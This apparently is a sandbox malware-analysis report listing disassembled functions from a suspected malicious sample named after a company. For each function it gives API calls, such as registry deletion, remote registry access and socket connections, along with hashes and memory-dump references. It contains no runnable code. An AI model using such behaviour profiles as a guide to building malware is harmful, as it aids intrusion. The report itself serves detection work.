                                                              • Instruction ID: 03a75e3949c5ff7229952f065067c3733820d5be49837efeaab2d60093bf4efb
                                                              • Opcode Fuzzy Hash: 4c786b2fb4b03989a75998b45bcdb36c65388d3a62cfc7f7bd7ec8e5250d871b
                                                              • Instruction Fuzzy Hash: 8B412275A04248EFDB24DF64D884EEABBF8FB48350F148529FD15AB250D738AD60DB60
                                                              Function 007B0FA5 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 007B0FD4
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 007B0FFE
                                                              • FreeLibrary.KERNEL32(00000000), ref: 007B10B5
                                                                • Part of subcall function 007B0FA5: RegCloseKey.ADVAPI32(?), ref: 007B101B
                                                                • Part of subcall function 007B0FA5: FreeLibrary.KERNEL32(?), ref: 007B106D
                                                                • Part of subcall function 007B0FA5: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 007B1090
                                                              • RegDeleteKeyW.ADVAPI32(?,?), ref: 007B1058
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                              • String ID:
                                                              • API String ID: 395352322-0
                                                              • Opcode ID: c06052001540d4186859300ad8e5cd417303c01917db04626472edd234e103a2
                                                              • Instruction ID: b95cb9858ccf9ee2964357b2696f6f78daf910125ef0be2fc4711676b3020b85
                                                              • Opcode Fuzzy Hash: c06052001540d4186859300ad8e5cd417303c01917db04626472edd234e103a2
                                                              • Instruction Fuzzy Hash: 7D311A71900109FFDB15EBA4DC99FFFB7BCEF08300F40426AF501A2151EA789E859AA4
                                                              Function 007B62CD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 007B62EC
                                                              • GetWindowLongW.USER32(01936A58,000000F0), ref: 007B631F
                                                              • GetWindowLongW.USER32(01936A58,000000F0), ref: 007B6354
                                                              • SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 007B6386
                                                              • SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 007B63B0
                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 007B63C1
                                                              • SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 007B63DB
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: LongWindow$MessageSend
                                                              • String ID:
                                                              • API String ID: 2178440468-0
                                                              • Opcode ID: d72f9da3898e0815c2c30e7e74d3171f9fc67815a905f3a47263214ded91d5a4
                                                              • Instruction ID: 7fa594cf8819fcee6c0edc25c864f8dc82d841e5a484f71b0d3e10b475390a1f
                                                              • Opcode Fuzzy Hash: d72f9da3898e0815c2c30e7e74d3171f9fc67815a905f3a47263214ded91d5a4
                                                              • Instruction Fuzzy Hash: 8131E035644650EFDB208F18DC88FA537E1FB4A754F1982A4FA019B2B2CB79A840DB55
                                                              Function 0078DAEB Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0078DB2E
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0078DB54
                                                              • SysAllocString.OLEAUT32(00000000), ref: 0078DB57
                                                              • SysAllocString.OLEAUT32(?), ref: 0078DB75
                                                              • SysFreeString.OLEAUT32(?), ref: 0078DB7E
                                                              • StringFromGUID2.OLE32(?,?,00000028), ref: 0078DBA3
                                                              • SysAllocString.OLEAUT32(?), ref: 0078DBB1
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                              • String ID:
                                                              • API String ID: 3761583154-0
                                                              • Opcode ID: e547c00891ed5481caef90372bd326983fd318e98e2b7a032ce282a67307c9e8
                                                              • Instruction ID: 0c23217211d72ea6d279c5217f279d91c87b844bdf14313800ebef843f954eaf
                                                              • Opcode Fuzzy Hash: e547c00891ed5481caef90372bd326983fd318e98e2b7a032ce282a67307c9e8
                                                              • Instruction Fuzzy Hash: 6721B676600219AFDF20EFB8DC88DBB77ACEB09760B118525FD14DB290D678DC4587A8
                                                              Function 007A6173 Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 007A7D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 007A7DB6
                                                              • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 007A61C6
                                                              • WSAGetLastError.WSOCK32(00000000), ref: 007A61D5
                                                              • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 007A620E
                                                              • connect.WSOCK32(00000000,?,00000010), ref: 007A6217
                                                              • WSAGetLastError.WSOCK32 ref: 007A6221
                                                              • closesocket.WSOCK32(00000000), ref: 007A624A
                                                              • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 007A6263
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                              • String ID:
                                                              • API String ID: 910771015-0
                                                              • Opcode ID: 1e6e0d4bdd04e8e6d1b7d08391b6f56b55f9f10d15a3d3616c4b38e3c05c8102
                                                              • Instruction ID: 3102648f1dfb8d534fa08c0179b50c31025934e0f8f8623a47ecea485eb5c411
                                                              • Opcode Fuzzy Hash: 1e6e0d4bdd04e8e6d1b7d08391b6f56b55f9f10d15a3d3616c4b38e3c05c8102
                                                              • Instruction Fuzzy Hash: D7318471600118ABEF10AF64CC89FBD7BA9EB85750F048169F90597291DB78AD448B61
                                                              Function 0078F65E Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: __wcsnicmp
                                                              • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                              • API String ID: 1038674560-2734436370
                                                              • Opcode ID: bbc3222302e61822b640777e8013774e9a192ba336d3ae1d4a91cc67d4806d0a
                                                              • Instruction ID: 2c1e017c24decee93f7b2eae3d8d3041fbf755adfc619bb1840cce38c9a8f799
                                                              • Opcode Fuzzy Hash: bbc3222302e61822b640777e8013774e9a192ba336d3ae1d4a91cc67d4806d0a
                                                              • Instruction Fuzzy Hash: E82149B2294512E6E220F634AC07FA77398DF59350F50443DF84696052FB9D9D46C3A5
                                                              Function 0078DBC4 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0078DC09
                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0078DC2F
                                                              • SysAllocString.OLEAUT32(00000000), ref: 0078DC32
                                                              • SysAllocString.OLEAUT32 ref: 0078DC53
                                                              • SysFreeString.OLEAUT32 ref: 0078DC5C
                                                              • StringFromGUID2.OLE32(?,?,00000028), ref: 0078DC76
                                                              • SysAllocString.OLEAUT32(?), ref: 0078DC84
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                              • String ID:
                                                              • API String ID: 3761583154-0
                                                              • Opcode ID: fb781a27495181b6dd3c26de852c85754f5cc4ee1cf17aec31e88a8f82ade567
                                                              • Instruction ID: b53da2bb966cb270c43f1c5ca617b190dd55f01b49eb9dd4b54c4276d535e34e
                                                              • Opcode Fuzzy Hash: fb781a27495181b6dd3c26de852c85754f5cc4ee1cf17aec31e88a8f82ade567
                                                              • Instruction Fuzzy Hash: 8E214475644204AF9B20FFA8DC89DAB77ECEB09760B108125F914CB2A1D6B8DC41C764
                                                              Function 007B75CD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00731D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00731D73
                                                                • Part of subcall function 00731D35: GetStockObject.GDI32(00000011), ref: 00731D87
                                                                • Part of subcall function 00731D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00731D91
                                                              • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 007B7632
                                                              • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 007B763F
                                                              • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 007B764A
                                                              • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 007B7659
                                                              • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 007B7665
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CreateObjectStockWindow
                                                              • String ID: Msctls_Progress32
                                                              • API String ID: 1025951953-3636473452
                                                              • Opcode ID: 70a24a020936311847727d88b71632eb2fd2aa079b4d2bd631950188b812b257
                                                              • Instruction ID: ec230dce9d553ccf119a1e945464d609babb88f83e0a4c1a333cc4531bfc84f8
                                                              • Opcode Fuzzy Hash: 70a24a020936311847727d88b71632eb2fd2aa079b4d2bd631950188b812b257
                                                              • Instruction Fuzzy Hash: 0E11B2B2110219BFEF159F64CC85EE77F6DEF08798F014115FB04A60A0CA76AC21DBA4
                                                              Function 00759AE6 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __init_pointers.LIBCMT ref: 00759AE6
                                                                • Part of subcall function 00753187: EncodePointer.KERNEL32(00000000), ref: 0075318A
                                                                • Part of subcall function 00753187: __initp_misc_winsig.LIBCMT ref: 007531A5
                                                                • Part of subcall function 00753187: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00759EA0
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00759EB4
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00759EC7
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00759EDA
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00759EED
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00759F00
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00759F13
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00759F26
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00759F39
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00759F4C
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00759F5F
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00759F72
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00759F85
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00759F98
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00759FAB
                                                                • Part of subcall function 00753187: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00759FBE
                                                              • __mtinitlocks.LIBCMT ref: 00759AEB
                                                              • __mtterm.LIBCMT ref: 00759AF4
                                                                • Part of subcall function 00759B5C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00759AF9,00757CD0,007EA0B8,00000014), ref: 00759C56
                                                                • Part of subcall function 00759B5C: _free.LIBCMT ref: 00759C5D
                                                                • Part of subcall function 00759B5C: DeleteCriticalSection.KERNEL32(007EEC00,?,?,00759AF9,00757CD0,007EA0B8,00000014), ref: 00759C7F
                                                              • __calloc_crt.LIBCMT ref: 00759B19
                                                              • __initptd.LIBCMT ref: 00759B3B
                                                              • GetCurrentThreadId.KERNEL32 ref: 00759B42
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                                              • String ID:
                                                              • API String ID: 3567560977-0
                                                              • Opcode ID: 45bdf250d9f29a6be9798c6ca832aa61d88ced22c3bfd14ec83a11adfcaf64cf
                                                              • Instruction ID: f4d32a44d5719e97036174ed9524917625990c4b8b5c563b7be95b75f80db2be
                                                              • Opcode Fuzzy Hash: 45bdf250d9f29a6be9798c6ca832aa61d88ced22c3bfd14ec83a11adfcaf64cf
                                                              • Instruction Fuzzy Hash: 15F0C23260A715EAF62476787C0B6CA3690DB02732B208A1AFE10D50D2FEDC98494565
                                                              Function 0075406B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00753F85), ref: 00754085
                                                              • GetProcAddress.KERNEL32(00000000), ref: 0075408C
                                                              • EncodePointer.KERNEL32(00000000), ref: 00754097
                                                              • DecodePointer.KERNEL32(00753F85), ref: 007540B2
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                              • String ID: RoUninitialize$combase.dll
                                                              • API String ID: 3489934621-2819208100
                                                              • Opcode ID: 42c4324116814780b7b494304f507d201a52935f42228a303ef751b82cd68d24
                                                              • Instruction ID: dab0ee8c50f70f072fa9693ef77b31538325d0c48cbc188c5c51ea59930ad50f
                                                              • Opcode Fuzzy Hash: 42c4324116814780b7b494304f507d201a52935f42228a303ef751b82cd68d24
                                                              • Instruction Fuzzy Hash: 34E09A70645605ABDA109F61EC09F553BA4B714B46F148628F511D11A0CBBE5684CA19
                                                              Function 007964B8 Relevance: 9.2, APIs: 6, Instructions: 205COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: _memmove$__itow__swprintf
                                                              • String ID:
                                                              • API String ID: 3253778849-0
                                                              • Opcode ID: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
                                                              • Instruction ID: f0765fea3f8c79382f0a3b9075dd4b711d519ce1a4f6caebfe8c69d9f7272cf4
                                                              • Opcode Fuzzy Hash: 76b414fce70ed4315a476acb9bc9480d4d23d6fdfacab3245a9398dc4472c5c6
                                                              • Instruction Fuzzy Hash: DB61AA3090025AEBDF02EF64DC8AEFE37A5AF44308F044618FD556B292DB79E805CB90
                                                              Function 007B01E4 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00737DE1: _memmove.LIBCMT ref: 00737E22
                                                                • Part of subcall function 007B0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,007AFDAD,?,?), ref: 007B0E31
                                                              • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007B02BD
                                                              • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 007B02FD
                                                              • RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 007B0320
                                                              • RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 007B0349
                                                              • RegCloseKey.ADVAPI32(?,?,00000000), ref: 007B038C
                                                              • RegCloseKey.ADVAPI32(00000000), ref: 007B0399
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
                                                              • String ID:
                                                              • API String ID: 4046560759-0
                                                              • Opcode ID: 3ae73654dcdbcf522692ebb775dad8ade7e0e27904511af690158b1c566f0a16
                                                              • Instruction ID: 0a9572ba6f16d1741075150b17ecef1fb2a7dfaa804e4dbd14d59e50f17cd746
                                                              • Opcode Fuzzy Hash: 3ae73654dcdbcf522692ebb775dad8ade7e0e27904511af690158b1c566f0a16
                                                              • Instruction Fuzzy Hash: 48514871208204EFD714EF64C889EABBBE9FF84714F04491DF545872A2DB79E905CB92
                                                              Function 007B5799 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenu.USER32(?), ref: 007B57FB
                                                              • GetMenuItemCount.USER32(00000000), ref: 007B5832
                                                              • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 007B585A
                                                              • GetMenuItemID.USER32(?,?), ref: 007B58C9
                                                              • GetSubMenu.USER32(?,?), ref: 007B58D7
                                                              • PostMessageW.USER32(?,00000111,?,00000000), ref: 007B5928
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$CountMessagePostString
                                                              • String ID:
                                                              • API String ID: 650687236-0
                                                              • Opcode ID: 40c7be742964e95e9a2cffb810658c63b1aac6e31471763c3a495337f8f542e3
                                                              • Instruction ID: 47fbe9849c0c00c0c4caa3ab528d07eba3372ce87d26848bfa43207299a920d6
                                                              • Opcode Fuzzy Hash: 40c7be742964e95e9a2cffb810658c63b1aac6e31471763c3a495337f8f542e3
                                                              • Instruction Fuzzy Hash: 93514935A00615EFDF11EF64C849BEEB7B4EF48720F104069E945BB352CB79AE418B90
                                                              Function 0078EEEC Relevance: 9.2, APIs: 6, Instructions: 159COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 0078EF06
                                                              • VariantClear.OLEAUT32(00000013), ref: 0078EF78
                                                              • VariantClear.OLEAUT32(00000000), ref: 0078EFD3
                                                              • _memmove.LIBCMT ref: 0078EFFD
                                                              • VariantClear.OLEAUT32(?), ref: 0078F04A
                                                              • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 0078F078
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.1689424493.0000000000731000.00000020.00000001.01000000.00000003.sdmp, Offset: 00730000, based on PE: true
                                                              • Associated: 00000000.00000002.1689407962.0000000000730000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007BF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689464880.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689504065.00000000007EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.1689517435.00000000007F7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_730000_BASF Hung#U00e1ria Kft.jbxd
                                                              Similarity
                                                              • API ID: Variant$Clear$ChangeInitType_memmove
                                                              • String ID:
                                                              • API String ID: 1101466143-0
                                                              • Opcode ID: 21bf7799000e75ea6ab21b12cf94e8fa72cd9aa59e57910140fb26a5632aab66
                                                              • Instruction ID: 4d3b83a22bc44f7c0cb46c6dd1cffaecd9efd974c206b5f8a7d76e2082a88f1f
                                                              • Opcode Fuzzy Hash: 21bf7799000e75ea6ab21b12cf94e8fa72cd9aa59e57910140fb26a5632aab66
                                                              • Instruction Fuzzy Hash: CF5149B5A00209EFDB14DF58C884AAAB7B8FF4C314B158569ED59DB301E739E911CBA0
                                                              Function 0079220A Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _memset.LIBCMT ref: 00792258
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 007922A3
